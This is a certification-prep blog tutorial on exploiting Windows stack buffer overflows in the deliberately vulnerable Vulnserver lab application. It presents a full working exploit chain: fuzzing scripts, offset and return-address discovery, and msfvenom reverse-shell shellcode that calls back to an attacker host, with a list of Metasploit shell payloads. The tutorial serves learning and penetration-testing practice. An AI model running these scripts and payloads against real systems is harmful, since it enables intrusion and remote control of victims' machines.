How to solve windows buffer overflows like a pro

Yara AlHumaidan (0xy37)
10 min readMay 3, 2021

--

In March 2020 i decided to go for OSCP certification after giving this thought quite some time. Not because anything but because i hated and (also sucked) at solving buffer overflow challenges.

i have been trying to avoid anything that have to do with buffer overflow, until it was time to face it.

i will link all the references i used to make this cheat-sheet, you might need to visit them and gain the whole idea behind each step.

Note: if you want to get along with the following steps, you can use the below vulnerable application:

http://sites.google.com/site/lupingreycorner/vulnserver.zip

0- Spiking

Is the process of Identify vulnerable commands within a program.

└─#root@kali:~# nc -nv 172.20.10.2 9999(UNKNOWN) [172.20.10.2] 9999 (?) openWelcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

we can see we have multiple commands we can use with this program, how can we know which one of these are vulnerable to buffer overflow? yes. Spiking!

We will use generic_send_tcp

└─#root@kali:~# generic_send_tcp
argc=1
Usage: ./generic_send_tcp host port spike_script SKIPVAR SKIPSTR./generic_send_tcp 192.168.1.100 701 something.spk 0 0

First we need to create the Spike_script, which it can be something like this:

└─# cat stat.spk
s_readline();
s_string("STATS ");
s_string_variable("0");

next we will run the program using the script we have created (stat.spk)

└─# generic_send_tcp 172.20.10.2 9999 stat.spk 0 0                                    Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3

and we keep watching the application we are trying to test if it crashed then BINGO, we know which command is vulnerable.

Crashing the vulnerable application

Note that we need to test each command by modifying the spiking script

s_string("RTIME ");
s_string("LTIME ");
s_string("SRUN ");
...

Heads up, the vulnerable command is TRUN.

1- Fuzzing

If there is no multiple commands in the application, no need to use spiking method, since we will only be testing one command.

Sample of fuzzing scripts:

  • Python script to fuzz web requests
#!/usr/bin/python
import socket
import time
import sys
size = 100
while(size < 2000):
try:print "\nSending evil buffer with %s bytes" % size
inputBuffer = "A" * size ##CHANEG THIS
content = "username=" + inputBuffer + "&password=A"buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host:#10.11.0.20\r\n" ##CHANEG THIS
buffer += "User-Agent: #Mozilla/5.0 (X11; #Linux_86_64; rv:#52.0) Gecko/20100101 #Firefox/52.0\r\n"
buffer += "Accept-Language: en-US,en;q=0.5\r\n"
buffer += "Referer: http://#10.11.0.22/login\r\n" ##CHANEG THIS
buffer += "Connection: close\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("#10.11.0.22", #80)) s.send(buffer)##CHANEG THIS
s.close()
size += 100
time.sleep(10)
except:
print "\nCould not connect!"
sys.exit()
  • Python script to fuzz cmd commands
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = "A" * 100while True:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('192.168.1.90',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A"*100except:
print "Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()

Note: we wrote TRUN /.:/ because that what is delivered from what we saw in the spiking section.

Noticing the exact command that is sent
  • Python script to fuzz mail
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = "A" * 3000while True:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('192.168.100.80',110)) #vulnserver IP address
s.send(("USER YARA" + "\r\n"))
s.send(("PASS "+ buffer + "\r\n"))
s.close()
sleep(1)
buffer = buffer + "A"*100
except:
print "Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()

2- Finding the Offset

We will use Metasploit-framework pattern_create.rb

─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al... SNIPT

Next, sending the generated pattern, we will use the below code:

#!/usr/bin/python
import sys, socket
offset = "COPY THE OUTPUT OF pattern_create.rb HERE"try:s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.20.10.2',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + offset))
s.close()
except:
print "Error Connecting to Server"
sys.exit()

Crashing the application, we need to get the value associate with EIP to find the offset.

The EIP value is 386F4337.

We will use Metasploit-framework pattern_offset.rb

└─# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 386f4337
[*] Exact match at offset 2003

At 2003 bytes we can control the EIP where “-q” is our EIP value.

Alternative way using mona.py:

!mona findmsp
Using !mona findmsp, the offset was identified at 2003 bytes.

3- Overwriting the EIP

In this step we are only confirming that we can overwrite the EIP value.

#!/usr/bin/python
import sys, socket
shellcode = "A" * 2003 + "B" * 4try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.20.10.2',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + shellcode))
s.close()
except:
print "Error Connecting to Server"
sys.exit()
Overwriting the EIP

Our EIP reads “42424242”, and the EIP has a length of four bytes, so we have a full control of the EIP.

4- Finding Bad Characters

To find bad characters we need to add an additional variable of “badchars” to our code that contains a list of every single hex character.

badchars =(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Note: It is better to treat these chars as a bad chars \x00 — \x0a — \x0d — \xff

Updating the scrip:

#!/usr/bin/python
import sys, socket
badchars = COPY THE ABOVE VALUEshellcode = "A" * 2003 + "B" * 4 + badcharstry:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.20.10.2',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + shellcode))
s.close()
except:
print "Error Connecting to Server"
sys.exit()

Once we have sent the exploit, we will need to right click on the ESP register and select “Follow in Dump”.

Making the font bigger

Note: You can make the font bigger by going to Appearance > Font > OEM Fixed font

An example of bad characters in:

bad characters example

Look at 04 and 05, for example, the characters are not there, instead, they have been replaced with “B0”. If you look through the all of the characters, line by line, you’ll notice quite a few bad ones exist.

Note: This is a very critical step, if you missed one character the exploit will not work. if you can double check, you double check.

5- Finding the Right Module/return address

we will use mona module, if you dont have you can download it from:

paste the mona.py file into the below path:

C:/program files/Immunity Inc/Immunity Debugger/PyCommands

then you can use the mona module.

There are three ways of Finding the Right Module/return address:

Method #1 using mona modules:

!mona modules

Then look for “False” across all the board

!mona modules output

Next, we need to find the opcode equivalent of JMP ESP:

└─#/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm> JMP ESP
000000000 FFE4 jmp esp

Next, look for addresses of jmp in the vulnerable module that resulted from previous step

!mona find -s "\xff\xe4" -m libspp.dll
Finding the address using mona find command

Note: libspp.dll is the module we chose from the previous step, it is the module with all False or No controls.

Method #2 mona finder

!mona jmp -r esp -cpb "\x00\x0A"

The explanation of the above command is search memory for a JMP in the ESP register, -cpb to specify a list of bad characters we found from previous steps.

the output of the above command

We need to also check for False across all controls in order to choose the right module. The first column in the above output is the address that we can use.

Method #3 Search in all addresses

Right click in the CPU section then “Search for” then “All commands”

Search in all addresses
Search for a command
The results of the search

We found three addresses we can use, we need to keep in mind not to choose an address that contain a bad character.

Note that some of the above methods results in multiple addresses, choose an address test it, if it doesnt work, choose another one and so on.

Bonus step: Confirming the right address

We can write the memory address using the below function

└─# python
Python 2.7.12rc1 (default, Apr 21 2021, 09:20:59)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> struct.pack("<I", 0xDEADBEEF)
'\xEF\xBE\xAD\xDE'

Or we can use the below code:

└─# perl -le 'print scalar reverse unpack "h*", pack "H*", "5F4A358F"'
8f354a5f

└─# perl -le 'print scalar reverse unpack "h*", pack "H*", "DEADBEEF"'
efbeadde

Or we can manually write the address.

The updated script should be as the following:

#!/usr/bin/python
import sys, socket
# Address is 0x625011afshellcode = "A" * 2003 + "\xfa\x11\x50\x62"try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.20.10.2',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + shellcode))
s.close()
except:
print "Error Connecting to Server"
sys.exit()

Last thing to do is to test out our return address, click on the far right arrow on the top panel of Immunity:

initiating the breakpoint

Then search for the return address we found — “625011AF” That should bring up our return address, FFE4, JMP ESP location. next, hit F2 and the address should be set as a breakpoint.

Setting the breakpoint

Now, we can execute our code and see if the breakpoint triggers.

Triggering the breakpoint

Bonus: Testing Code Execution

Before getting into this step, what i like to do is confirming all my steps above are correct before doing this one, because alot of things can go wrong with the step and then debugging the mistakes will be harder.

First, we will put some NOP instructions in the script

‘\x90’ = No Operation — they do nothing

After it we will add ‘\xCC’ INT 3 instruction, which will interrupt processing.

Note: The NOP sled is very important , it will make room to unpack the Matasploit packed exploit code that we’ll make in the final step.

#!/usr/bin/python
import sys, socket
from time import sleep
# badchar is /x00
# memory address: 0x625011af
buffer = "A" * 2003 + "\xaf\x11\x50\x62" + '\x90' * 16 + "\xCC\xCC\xCC\xCC" + "C" * 500
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('192.168.201.91',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + buffer))
s.close()
print "[+] EXPLOIT SENT"

If everything works, the program will stop at the ‘\xCC’ instruction, and we should get the below results:

INT 3 instruction
Executing INT 3 instruction

These screenshots confirms that we have a RCE.

6- Generating Shellcode with Metasploit

The final step is generating the shellcode and adding it to the exploit, we will use msfvenom tool.

└─# msfvenom -a x86 -p windows/shell_reverse_tcp lhost=192.168.100.79 lport=1337 EXITFUNC=thread -e x86/shikata_ga_nai -f python -b "\x00\x0a\x0d\xff"

Lets walk through these options one by one:

( -a ) The architecture to use for payload (x86/x64)

(-p) The payload to use, we might change this if the exploit doesn't work.

(lhost-lport) Your attacker (kali) IP and Port.

(EXITFUNC=thread) Ensures not to crash the application, but keep it running

(-e x86/shikata_ga_nai) The encoder, it is very important to have

(-f ) we can use python or C, both can work or in some cases one of them, you need to change between them to know.

(-b) listing the bad characters, Ensure that you write them correctly, one time i wrote / instead of \, and i spent 4 hours debugging, very sad story…

Note: Try other Shellcode since sometimes stage payloads will not work

Payloads:

[staged]windows/exec
windows/meterpreter/reverse_http
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell/bind_tcp
windows/shell/reverse_tcp
[non-staged]windows/powershell_reverse_tcp
windows/powershell_bind_tcp
windows/meterpreter_reverse_tcp
windows/meterpreter_reverse_http
windows/meterpreter_bind_tcp
windows/shell_bind_tcp
windows/shell_reverse_tcp
[staged x64]windows/x64/exec
windows/x64/meterpreter/bind_tcp
windows/x64/meterpreter/reverse_http
windows/x64/meterpreter/reverse_tcp
windows/x64/shell/bind_tcp
windows/x64/shell/reverse_tcp
[non-staged x64]windows/x64/meterpreter_bind_tcp
windows/x64/meterpreter_reverse_http
windows/x64/meterpreter_reverse_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp

Sample:

└─# msfvenom -p windows/shell_reverse_tcp LHOST=your.Kali.IP.address LPORT=4444 EXITFUNC=thread -f c -a x86 –platform windows -b “\\x00”└─# msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename

Updating the exploit:

#!/usr/bin/python
import sys, socket
overflow = (
"msfvenom output"
)
# Address is 625011af
shellcode = "A" * 2003 + "\xfa\x11\x50\x62" + '\x90' * 16 + overflow
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.20.10.2',9999)) #vulnserver IP address
s.send(('TRUN /.:/' + shellcode))
s.close()
except:
print "Error Connecting to Server"
sys.exit()

Some debugging i used to check:

  • Locate space for our shellcode — Try increasing the space randomly and check if it accepts it or not.
  • Correct payload type (Linux vs. Windows?)
  • Are the IP, Port and Commands correct?
  • Did you reverse the memory address correctly in the final script?
  • Did you change the padding from 32 to 16 or 8?
  • Did you try a listener on a different port?
  • Turn off your firewall if you’re on Windows
  • s.send((buffer)) → send the argument not the text s.send((“buffer”))
  • It is not always a large buffer, sometimes smaller buffers crashes the program but larger ones NOT.
  • If no modules are found use system DLLs shell32.dll or user32.dll.

Some great references i used:

Vulnerable application to practice on:

Finally, i would encourage you to try and exploit the above vulnerable applications by yourself, as it would really help in getting familiar in how to solve buffer overflow machines.

Thats it for this write-up, this is my first ever technical write-up, i would really appreciate the feedback!

--

--

Yara AlHumaidan (0xy37)
Yara AlHumaidan (0xy37)

Written by Yara AlHumaidan (0xy37)

Penetration Testing Consultant | OSCP | OSWP | eWAPTXv2 | CRTP

No responses yet